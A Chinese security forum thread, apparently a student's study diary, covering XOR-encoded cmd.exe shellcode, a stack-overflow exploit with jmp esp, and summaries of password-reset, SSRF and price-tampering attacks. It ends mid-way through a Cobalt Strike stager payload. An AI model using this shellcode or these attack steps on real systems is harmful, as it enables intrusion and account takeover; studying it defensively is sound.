安全矩阵

 找回密码
 立即注册
搜索
查看: 22151|回复: 81

侯欣悦学习日记

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-2-17 19:27:47 | 显示全部楼层 |阅读模式
2020年2月17号开贴!!!
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-17 19:58:40 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-25 17:53 编辑

shellcode编码之异或
之前实验的时候,弹DOS窗口的shellcode发现有\x00。根据程序要求,shellcode是不能有这样的字符串在里面,否则在使用一些函数(如:strcpy())会产生00截断:
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. #include"stdlib.h"
  5. char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  6. int main(int argc, char* argv[])
  7. {
  8.         __asm
  9.         {
  10.                 lea eax,shellcode
  11.                 push eax
  12.                 ret
  13.         }
  14.         return 0;
  15. }
复制代码
然后,我们就要用异或对这个shellcode进行编码,参考《0day安全-软件漏洞分析技术》,对于解码,我们可以用以下几条指令实现。
  1. #include <stdio.h>
  2. #define KEY 0x97
  3. void main()
  4. {
  5.         __asm
  6.         {
  7.                 add eax, 0x14 //越过 decoder,记录 shellcode 的起始地址
  8.                 xor ecx,ecx
  9. decode_loop:
  10.                 mov bl,[eax+ecx]
  11.                 xor bl, 0x97 //这里用 0x97 作为 key,如编码的 key 改变,这里也要相应改变
  12.                 mov [eax+ecx],bl
  13.                 inc ecx
  14.                 cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符
  15.                 jne decode_loop
  16.         }
  17. }
复制代码
下文再解释该解码器,所以这个时候重新添加\x90,再对shellcode进行编码:
  1. #include <stdio.h>
  2. #define KEY 0x97
  3. unsigned char ShellCode[] = "\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D\x90";
  4. int main()
  5. {
  6.         int i;
  7.         int nLen;
  8.         unsigned char enShellCode[500]; //编码后的enShellCode
  9.         nLen = sizeof(ShellCode)-1;     //获得ShellCode的长度
  10.         printf("enShellcode=");
  11.         for(i=0; i<nLen; i++)
  12.         {
  13.                 enShellCode = ShellCode[i] ^ KEY; //对每一位ShellCode作xor key编码
  14.                 printf("\\x%x",enShellCode[i]); //打印出效果
  15.         }
  16.         return 0;
  17. }
复制代码
运行结果复制下来保存好:
enShellcode=\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7

然后进入调试模式:
将解码器对应的机器码提取出:
\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x97\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1   
将其和shellcode拼接在一起,成功运行:
  1. #include "stdafx.h"
  2. #include"stdio.h"
  3. char shellcode[]="\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x97\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1 "
  4. "\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7";
  5. int main(int argc, char* argv[])
  6. {
  7.         _asm
  8.         {
  9.                 lea eax,shellcode
  10.                 push eax
  11.                 ret
  12.         }
  13. }
复制代码
好了!现在就是讲解上面解码器的相关知识了:
  1. #include <stdio.h>
  2. #define KEY 0x97
  3. void main()
  4. {
  5.         __asm
  6.         {
  7.                 add eax, 0x14 //解密子的长度
  8.                 xor ecx,ecx //循环计数器
  9. decode_loop:
  10.                 mov bl,[eax+ecx]
  11.                 xor bl, 0x97 //这里用 0x97 作为 key,如编码的 key 改变,这里也要相应改变
  12.                 mov [eax+ecx],bl
  13.                 inc ecx   //目标操作数+1
  14.                 cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符
  15.                 jne decode_loop
  16.         }
  17. }
复制代码
其中0x14是解码器的长度,最开始,我们并不确定。这个时候我们可以随意写一个比较大的数字来装载解码器,然后进入调试模式数出来再修改!
最后一句:
其中的0040102d是跳转的绝对地址,但是F1是相对偏移,向前跳时,移动了13个字节,于是75 F1表示jne $-13。这个可以利用kali里面的msf-nasm_shell查看跳转指令对应的机器码。
补充:上面的解码子是一种方法,在这之前,我用了另外一种方法:
看了许多文章,发现解密子还有一种方法:
那这样我们差不多就能理解写出shellcode
  1. jmp decode_end //为了获得enShellCode的地址
  2. decode_start:
  3. pop edx // 得到enShellCode的开始位置 esp -> edx
  4. dec edx //如:dec R0就是说R0=R0-1。
  5. xor ecx,ecx
  6. mov cx,0x200 //要解码的 enShellCode长度,0x200应该足够
  7. decode_loop:
  8. xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
  9. loop decode_loop //循环解码
  10. jmp decode_ok //解码完毕后,跳到解码后的地方执行!
  11. decode_end:
  12. call decode_start
  13. decode_ok
复制代码
如上图所示,只是为了找出decode汇编的机器码(不必管程序是否会进行)细心地可以发现,有个地方写了cx,不知道为什么?百度:
可是16位汇编和32位汇编可以混用吗
提取出的decode机器码。
“得到decode的机器码后,我们把enShellCode跟在后面就可以了。”
接下来就是拼接了:
哎哟! decode里面的第9个字节还是00
如果ShellCode只是偶尔几个字符出现了问题,我们就不必盲目的改变Key的值,可能会越改越糟。甚至,解码代码本身就有非法字符,就像刚才提取的decode—样。因此,我们改变Key的值也没有用处。
那咋办了?
此时我们要想办法对代码进行小量微调,即使用微调法
此时,我们把长度改为211
发现没有0了!嗯!
所以这里的数字可以随便填,其实只要同时满足适合enshellcode的长度并且不出现00就好了。
重新提取:
“\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x11\x02\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF”
重新运行:
完成!


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-18 21:31:46 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-22 17:09 编辑

乌云
《口袋老师主后台可爆破涉及200w学生以及4000w题库》
记录:针对这种学生网站型的,其实很多人都没有较强的安全意识,密码设置简单,并且最开始一般都使用默认密码登录!这个时候在没有验证码的情况下以及登录次数的限制,就可以拦包爆破。之前阅读过一篇文章,是关于有验证码的爆破,大概是针对于验证码图片背景有限,然后移动图片背景中的一小块,那位作者就因此计算出那一小块所出现的任意位置,然后做成一个验证码爆破!可想而知,这还是挺麻烦的,一般情况下,好的验证码库就是爆破的最后一道防线!

《同程旅游某系统配置不当任意文件上传getshell/root权限》
记录:同程旅游估计是国名比较熟悉的了!这篇文章读下来,厂商
回复说不是自己的!(幸好不是),这个也是弱口令登录,该弱口令对应的是一个管理员,管理员的权限多高啊!没有安全意识,导致弱口令登入,最后又因为该系统的配置不当,可以执行任意文件上传漏洞,最后上传webshell控制服务器。

《网级计量自动化系统存在命令执行/涉及项目源码 /可内网》
记录:同样是弱口令登入网站,然后存在一处java反序列化命令执行漏洞,后面的代码什么的没有看懂,也不知道什么这个漏洞是什么!于是另外找了一篇相关文章:《Java反序列化漏洞从入门到深入 - 先知社区》:
如何发现Java反序列化漏洞
白盒检测
当持有程序源码时,可以采用逆向寻找漏洞
反序列化操作一般应用在导入模板文件网络通信数据传输日志格式化存储对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
黑盒检测
在黑盒测试中并不清楚对方的代码架构,但仍然可以通过分析十六进制数据块,锁定某些存在漏洞的通用基础库(比如Apache Commons Collection)的调用地点,并进行数据替换,从而实现利用。在实战过程中,我们可以通过抓包来检测请求中可能存在的序列化数据。序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05但在某些情况下可能是更高的数字。
这个只是简单了理解一下!没有进行环境搭建操作!
《360某处ssrf漏洞可探测内网信息(附内网6379探测脚本)
这种漏洞攻击之前没有怎么学习深入过,此处漏洞讲解比较深奥,重新定向于freebuf的一篇文章:《聊一聊ssrf漏洞的挖掘思路与技巧》:
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
通俗的说,比如这样一个url:,如果我们将换为与该服务器相连的内网服务器地址会产生什么效果呢?比如127.0.0.110.0.0.1192.168.1.1等等,如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会返回其他的状态码,所以:如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。
那我们怎么知道这个点是否是漏洞点呢,一般如果看到让用户输入url,导入外部链接的这些点,就可以去尝试一下。
如果有这样的一个ssrf漏洞点,Payload触发了却不在前端页面显示,我们就要可以使用抓包观察返回的状态码来探测信息。

回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-19 23:31:35 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-21 20:56 编辑

函数
1、函数的识别
程序通过调用函数,在函数执行后又返回调用程序继续执行,此时是通过定位call机器指令和利用ret指令结束的标志来识别函数,最简单的示例:
虽然是个小程序,但是写出汇编还是花了不少时间:
自己写完,再对比书上的:
感觉自己对比vc环境写的有些复杂,于是想优化一下:
似乎没有多大的变化,差不多只是调整了一下位置。
我又一个疑问,就是前后L1处的汇编代码,我有点想不通为什么前者是ebp为基础,后者esp为基础时,它怎么确定这两个未知的数都是指的同一个地方!
2、函数的参数
函数传递参数有三种形式:栈方式、寄存器方式以及通过全局变量进行隐含参数传递的方式。
经过十几天汇编学习,其中用得最多的就是前两种:
当参数是通过栈传递的时候,就要定义参数在栈中的顺序,并约定函数被调用后由谁来平衡栈。而平衡栈对于我来说隐隐约约感觉是一个难点。
当参数是通过寄存器传递的,就要确定参数放在哪个寄存器中。之前的学习,发现函数返回时基本都是保存在eax中。
  1. #include<stdio.h>
  2. int Add(int x, int y);
  3. void main()
  4. {
  5.         char *str="total=%d\n";
  6.         _asm
  7.         {
  8.                 push 3
  9.                 push 2
  10.                 call L1       
  11.                 jmp L2
  12. L1:       
  13.                 push ebp
  14.                 mov ebp,esp

  15.                 mov eax,dword ptr [ebp+8]
  16.                 mov ecx,dword ptr [ebp+0Ch]
  17.                 add eax,ecx

  18.                 mov esp,ebp
  19.                 pop ebp
  20.                 retn
  21. L2:
  22.                 add esp,8
  23.                 push eax
  24.                 push str
  25.                 call printf
  26.                 add esp,8
  27.         }
  28. }
复制代码
似乎明白了一些上面的困惑:
因为esp是栈指针,所以一般使用ebp来存取栈。esp在栈的执行过程中随时都在变,所以我们还是一般使用ebp。

随后第一次接触有关类的汇编:
在我的印象中,C语言似乎是没有类的,(在我之前学的C语言),但是还是运行实现了:
接下来,万成不变的就是进入调试状态写出汇编,经过调试,我发现与之前调用没有什么区别:

但是我又发现call指令之前相比之前是多了一句lea指令!可能差别就在这儿吧!

回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-21 08:31:58 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-21 22:16 编辑

本地缓冲区溢出简单利用
      突然想起之前有一个问题没解决,正好趁着今天精力充沛,必须拿下!
      前景回忆与复习,本地缓冲区溢出关键在于我们调用函数后的返回地址可以被我们用任意地址覆盖,那么我们就可以让计算机执行那个地址的代码,而那串代码所在的是我们精心构造的一个能弹出Dos窗口的shellcode。
      那么问题来了,有时候我们的程序执行环境或者平台不同,shellcode的地址就可能会改变,所以怎么准确执行shellcode,换句话说,怎么动态定位shellcode的地址就成了我今天要介绍的主题?
      经过一度搜索与提示,我们可以用系统核心dll里的指令jmp esp来完成跳转!据说,这一技巧很灵验和通用。(迫不及待试一试!)
百度百科了一下:Windows的系统核心dll包括kernel32.dll、user32.dll、gdi32.dll。这些dll—直位于内存中,而且对应于固定的版本,Windows加载的位置是固定的。
      因此,接下来我们就要找出jmp esp作为跳板从而动态定位shellcode。

原理介绍:
总之,纸上谈兵不好用,还是实践吧!
首先,写出一个弹出Dos窗口C语言程序:
  1. #include "windows.h"
  2. int main(int argc, char* argv[])
  3. {
  4. HINSTANCE libHandle;
  5. char *dll="user32.dll";
  6. libHandle=LoadLibrary(dll);
  7.         WinExec("cmd.exe",5);
  8.         ExitProcess(0);
  9.         return 0;
  10. }
复制代码
进入汇编模式,写出重点汇编代码:

但是根据自己的理解习惯改写了汇编:

  1. #include "windows.h"
  2. int main(int argc, char* argv[])
  3. {
  4. HINSTANCE libHandle;
  5. char *dll="user32.dll";
  6. libHandle=LoadLibrary(dll);
  7.         //WinExec("cmd.exe",5);
  8.         //ExitProcess(0);
  9.         __asm
  10.     {
  11.                 push ebp
  12.                 mov ebp,esp

  13.                 sub esp,48h
  14.                 xor eax,eax  //eax清0
  15.                 push eax     //“0x00”,用于分割字符串
  16.                 mov eax,0x6578652e   //".exe"的十六进制
  17.                 push eax
  18.                 mov eax,0x646d63   //"cmd"的十六进制
  19.                 push eax
  20.                 mov eax,esp
  21.                 push 5
  22.                 push eax
  23.                 mov eax,0x7C8623AD
  24.                 call eax
  25.                 cmp esi,esp
  26.                 xor ebx,ebx
  27.                 push ebx
  28.                 mov ebx,0x7C81CAFA
  29.                 call ebx

  30.                 mov esp,ebp
  31.                 pop ebp
  32.         }
  33.         return 0;
  34. }
复制代码
调试模式,反汇编提取机器码:

如下:
\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D
可是我们发现其中有个\x00:
一般这样的是忌讳,出现这种原因是压栈时字符串长度不够,当然此时我们可以利用之前的shellcode编码之异或进行消除,但为了拓展,这里使用另一种方法,参考下面:

现在就是:

  1. #include "windows.h"
  2. //char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  3. int main(int argc, char* argv[])
  4. {
  5.     HINSTANCE libHandle;
  6.         char *dll="user32.dll";
  7.     libHandle=LoadLibrary(dll);
  8.         //WinExec("cmd.exe",5);
  9.         //ExitProcess(0);
  10.         __asm
  11.     {
  12.                 push ebp
  13.                 mov ebp,esp

  14.                 xor eax,eax  //eax清0

  15.                 push 0x3f657865   //"exe?"的十六进制
  16.                 push 0x2e646d63   //"cmd."的十六进制
  17.                 mov [esp+7],eax   //把"?"换成0
  18.                 mov ebx,esp                  //cmd.exe的地址
  19.                 push ebx
  20.                 mov ebx,0x7C8623AD
  21.                 call ebx

  22.                 xor ebx,ebx
  23.                 push ebx
  24.                 mov ebx,0x7C81CAFA
  25.                 call ebx

  26.                 mov esp,ebp
  27.                 pop ebp
  28.         }
  29.         return 0;
  30. }
复制代码
从上面图可以知道,没有出现00,但是可以执行成功!这个时候就可以把shellcode提取出来!Good!

  1. #include "windows.h"
  2. //char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  3. char shellcode[]="\x55\x8B\xEC\x33\xC0\x68\x65\x78\x65\x3F\x68\x63\x6D\x64\x2E\x89\x44\x24\x07\x8B\xDC\x53\xBB\xAD\x23\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  4. int main(int argc, char* argv[])
  5. {
  6.     HINSTANCE libHandle;
  7.         char *dll="user32.dll";
  8.     libHandle=LoadLibrary(dll);
  9.         __asm
  10.         {
  11.                 lea eax,shellcode
  12.                 push eax
  13.                 ret
  14.         }
  15.         return 0;
  16. }
复制代码

可以看到,两个shellcode长度有差距!shellcode还缩小了。
接下来就是找找jmp esp的位置了,这里又是一个难点与关键点,我在这里卡了好久!!!我不会找,只能百度:
然后直接盗用了别人的成果,然后自己运行:
​​
  1. #include "stdafx.h"
  2. #include<windows.h>
  3. #include<iostream.h>
  4. #include<tchar.h>
  5. int main()
  6. {
  7.         int nRetCode=0;
  8.         bool we_load_it=false;
  9.         HINSTANCE h;
  10.         TCHAR dllname[]=_T("user32");      
  11.         h=GetModuleHandle(dllname);
  12.         if(h==NULL)
  13.         {
  14.                 h=LoadLibrary(dllname);
  15.                 if(h==NULL)
  16.                 {               
  17.                         cout<<"ERROR LOADING DLL:"<<dllname<<endl;
  18.                         return 1;
  19.                 }
  20.                 we_load_it=true;
  21.         }
  22.         BYTE* ptr=(BYTE*)h;
  23.         bool done=false;
  24.         for(int y=0;!done;y++)
  25.         {
  26.                 try
  27.                 {
  28.                         if(ptr[y]==0xFF&&ptr[y+1]==0xE4)
  29.                         {
  30.                                 int pos=(int)ptr+y;
  31.                                 cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
  32.                         }
  33.                 }
  34.                 catch(...)
  35.                 {
  36.                         cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
  37.                         done=true;
  38.                 }
  39.         }
  40.         if(we_load_it)
  41.         FreeLibrary(h);
  42.         return nRetCode;
  43. }
复制代码
难道这些都是吗?还是要一个一个试?
  1. #include "stdafx.h"
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <windows.h>
  5. char shellcode[]=
  6. "\x41\x41\x41\x41"  //str[0]~str[3]
  7. "\x41\x41\x41\x41"  //str[4]~str[7]
  8. "\x41\x41\x41\x41"        //覆盖ebp
  9. "\x78\x3c\xd9\x77"        //esp的地址覆盖eip地址"\x78\x3c\xd9\x77"        
  10. "\x55\x8B\xEC\x33\xC0\x68\x65\x78\x65\x3F\x68\x63\x6D\x64\x2E\x89\x44\x24\x07\x8B\xDC\x53\xBB\xAD\x23\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";  //shellcode
  11. int main()
  12. {
  13.     HINSTANCE libHandle;
  14.         char *dll="user32.dll";
  15.     libHandle=LoadLibrary(dll);
  16.         char str[8];
  17.         strcpy(str,shellcode);
  18.         for(int i=0; i<58 && str[i]; i++)
  19.         {
  20.                 printf("\\0x%x", str[i]);
  21.         }
  22.         return 0;
  23. }
复制代码

尝试运行不成功,怎么办?先记录着

补充:
经过一系列的尝试,我能运行不报错了!在上次运行报错的情况下进步了一点儿。我觉得应该百分之八九十是我的jmp esp地址值找得不对,可是到底该怎么弄?

回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-23 00:13:43 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-23 00:49 编辑

shellcode内存定位基本方法
引入:今天被抛出一个问题
最开始一看,我就不明白了。但是却令我想起之前我写的一篇《shellcode编码之异或》,这篇文章提及到了两种解密子,而第二种就与今天的主题有关!当时我没有做过详细的解释与分析(主要是因为我当时估计原理没有弄懂,而是做了简单的引入),趁着今天脑袋还清醒着,赶紧记录!
再引入:
这段话似乎和我们今天的问题不相关,一个是call/pop,一个是jmp/call,但是不要慌,继续坐下来......
对应这段话的方法是:
  1. _asm
  2. {
  3.         jmp decode_end //为了获得enShellCode的地址
  4. decode_start:
  5.         pop edx // 得到enShellCode的开始位置 esp -> edx
  6.         dec edx //如:dec R0就是说R0=R0-1。
  7.         xor ecx,ecx
  8.         mov cx,0x200 //要解码的 enShellCode长度,0x200应该足够
  9. decode_loop:
  10.         xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
  11.         loop decode_loop //循环解码
  12.         jmp decode_ok //解码完毕后,跳到解码后的地方执行!
  13. decode_end:
  14.         call decode_start
  15. decode_ok:
  16. }
复制代码
那么重点的来了,其中关键部分,如下
  1. _asm
  2. {
  3.         jmp decode_end //为了获得enShellCode的地址
  4. decode_start:
  5.         .......
  6. decode_end:
  7.         call decode_start
  8. decode_ok:  //
  9. }
复制代码
我们可以看到这其实与我们今天的主题是契合的,也许你还没有看出来,那我们直接可以改写如下:
  1. call decode_start
  2. decode_start:
  3.                 pop edx
复制代码
(终于开始进入主题)
接下来,我们开始真正讲解这其中的奥秘:
正常情况下:
当一个call指令被执行时,处理器将call后面的指令的地址压到栈上然后转到被请求的位置进行执行,例如:
此时0040D47Eh所在地址是call语句,这个时候我们继续调试,就会进入0042a214h所在的函数执行。在进入该函数之前,eip的值为0040D47Eh的下一条物理位置0040D484h,这就是所谓的压栈而调用函数。
这个函数执行完后,会执行一个ret指令,将返回地址弹出到栈的顶部,并将它载入指令指针寄存器中。从而使刚好返回到call后面的指令位置为:0040D484h
而上面只是正常情况下,若我们在一个call指令后面立刻执行pop指令,这会将紧跟call后面的地址载入指定寄存器中,而call后面的地址正是我们精心构造的shellcode,那我们再call这个寄存器后,一切都顺理成章地执行了我们的shellcode
“嗯?似乎也许你还不明白?”
那就用实力说话,依旧用最开始的解密子:
  1. jmp decode_end //为了获得enShellCode的地址
  2. decode_start:
  3.                 pop edx // 得到enShellCode的开始位置 esp -> edx
  4.                 dec edx //如:dec R0就是说R0=R0-1。
  5.                 xor ecx,ecx
  6.                 mov cx,0x200 //要解码的 enShellCode长度,0x200应该足够
  7. decode_loop:
  8.                 xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
  9.                 loop decode_loop //循环解码
  10.                 jmp decode_ok //解码完毕后,跳到解码后的地方执行!
  11. decode_end:
  12.                 call decode_start
  13. decode_ok:
复制代码
注意,此时eip存储的是紧邻它下一句的decode_ok的地址,在《shellcode编码之异或》中,decode_ok后面是待解码的enShellcode
执行pop edx语句,此时刚刚的eip的值被保存在edx中,即decode_ok的地址被保存在edx中,而我们刚刚知道decode_ok后面是待解码的enShellcode,如果是一个没有被编码的shellcode,此时我们已经定位shellcode的内存地址,就可以对call edx指令来执行shellcode

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-24 16:30:25 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-24 16:57 编辑

乌云
《不小心闯进1905某站后台/我发誓真的是不小心》
    记录:此次的漏洞只是作者“无意之举”,作者自己本人本来想找注入,顺带看了逻辑漏洞,但是不小心进入后台,怎么说呢?如果对于恶意攻击者,估计这是十分幸运的。但是对于我这样的初学者,还是要学习一下作者的渗透技巧:
    作者自己注册了一个账户,然后使用找回密码界面流程,假装自己密码忘记,并停留在验证码界面,然后作者在同一浏览器打开新的网页。随后作者开始随便猜解用户名,由于该网站的设置,使得如果不存在某用户名,网站会报错,此时作者就轻易地猜解到了test账户。这个时候作者用test账户进行密码找回,并同样停留在手机验证码阶段。随后作者返回自己的账户界面进行重置密码,发现在同一浏览器的test账户密码也同样被重置(成相同密码)。
    这是为什么呢?
    作者给出了关键性的解释:因为验证码与cookie绑定而两账号此时cookie相同造成了混淆。
    这是我第一次见到的漏洞,延伸阅读,百度一番:https://www.freebuf.com/articles/web/162152.html
    原来这是一个逻辑漏洞,属于任意用户密码重置,可能出现在新用户注册页面,也可能是用户登录后重置密码的页面,或者用户忘记密码时的密码找回页面,其中,密码找回功能是重灾区。
   上述案例就是一个典型的因用户cookie混淆导致的任意用户密码重置问题。若想更加清楚,可以进入上述链接学习观摩。
   这里我就自己再延伸扩展记录:
通过 cookie 混淆不同账号,实现重置任意用户密码
    大致浓郁的 cookie 混淆大致攻击思路:
    首先,用攻击者账号 www 进入密码找回流程,查收重置验证码、通过校验;然后,输入新密码后提交,拦截中断该请求,暂不发至服务端,这时,PHPSESSID 关联的是 www 账号;接着,关闭浏览器的 burp 代理,新开重置流程的首页,在页面中输入普通账号 admin 后提交,这时,PHPSESSID 已关联成admin了;最后,恢复发送之前中断的请求,放至服务端,理论上,可以成功重置 admin的密码。
由此可见,此类漏洞十分恐怖,轻而易举就可以把管理员的密码修改。
通过篡改请求包中的用户名参数,实现重置任意用户密码
    大致攻击流程:
    用攻击者账号走完密码找回全流程,涉及三步请求,依次为:验证用户名是否存在、获取短信验证码、提交短信验证码和新密码。第三步的时候,我们拦包修改用户名后放行,就会重定向至登录页面。用修改后的账号登录成功。期间还有一个小技巧:另外,密码找回流程第三步的请求中的短信验证码参数,单次有效,不可复用,如何实现自动批量密码重置?经测试,将该参数置空,或者完整删除该参数,服务端不再校验短信验证码。
通过篡改带 token 的重置链接中的用户名,实现重置任意用户密码
    大致攻击思路:
    在重置密码页面。假设攻击者用户 ID 为 42558。输入攻击者账号绑定的邮箱后点击“确认”,收到带 token 的密码重置链接,里面某个参数为攻击者的ID的base64编码,改变该ID,就会重置改变ID后的密码。

    上述方法几乎能很容易理解,最后相关作者提出了防御措施如下(感觉这里我就不明白了,估计是代码方面不知道流程):
    一定要将重置用户与接收重置凭证作一致性比较,通常直接从服务端直接生成,不从客户端获取。另外,密码找回逻辑中含有用户标识(用户名、用户 ID、cookie)、接收端(手机、邮箱)、凭证(验证码、token)、当前步骤等四个要素,这四个要素必须完整关联,否则可能导致任意密码重置漏洞。另外,HTTP 参数污染、参数未提交等问题,服务端也要严格判断。


M1905价值2588套餐只要5毛钱(拥有后台权限可自己审核订单)
记录:这次又是上次网站。作者进入后台后,查看了订单记录,(估计是售卖什么的网站吧),作者随便购买了一个套餐,金额还比较大,当它去结算的时候抓包拦截,把有关数字修改成负数,然后再放行,发现金额只需支付0.5元!(这样显然卖家要倾家荡产啊!)随后支付宝支付的时候,还是只需要支付0.5元。(最后我怀疑这个网站是作者自己搭建的吧)

回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-25 10:25:57 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-25 21:20 编辑

五种Shellcode执行方式(附cobaltstrike的payload)
之前都是着重于shellcode怎么来,今天就说说shellcode有哪些执行方法,使用的shellcode是cobaltstrike里的payload:




  1. /* length: 798 bytes */
  2. unsigned char buf[] =
  3. "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31"
  4. "\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40"
  5. "\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac"
  6. "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58"
  7. "\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68"
  8. "\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7"
  9. "\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x17\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff"
  10. "\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3"
  11. "\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74"
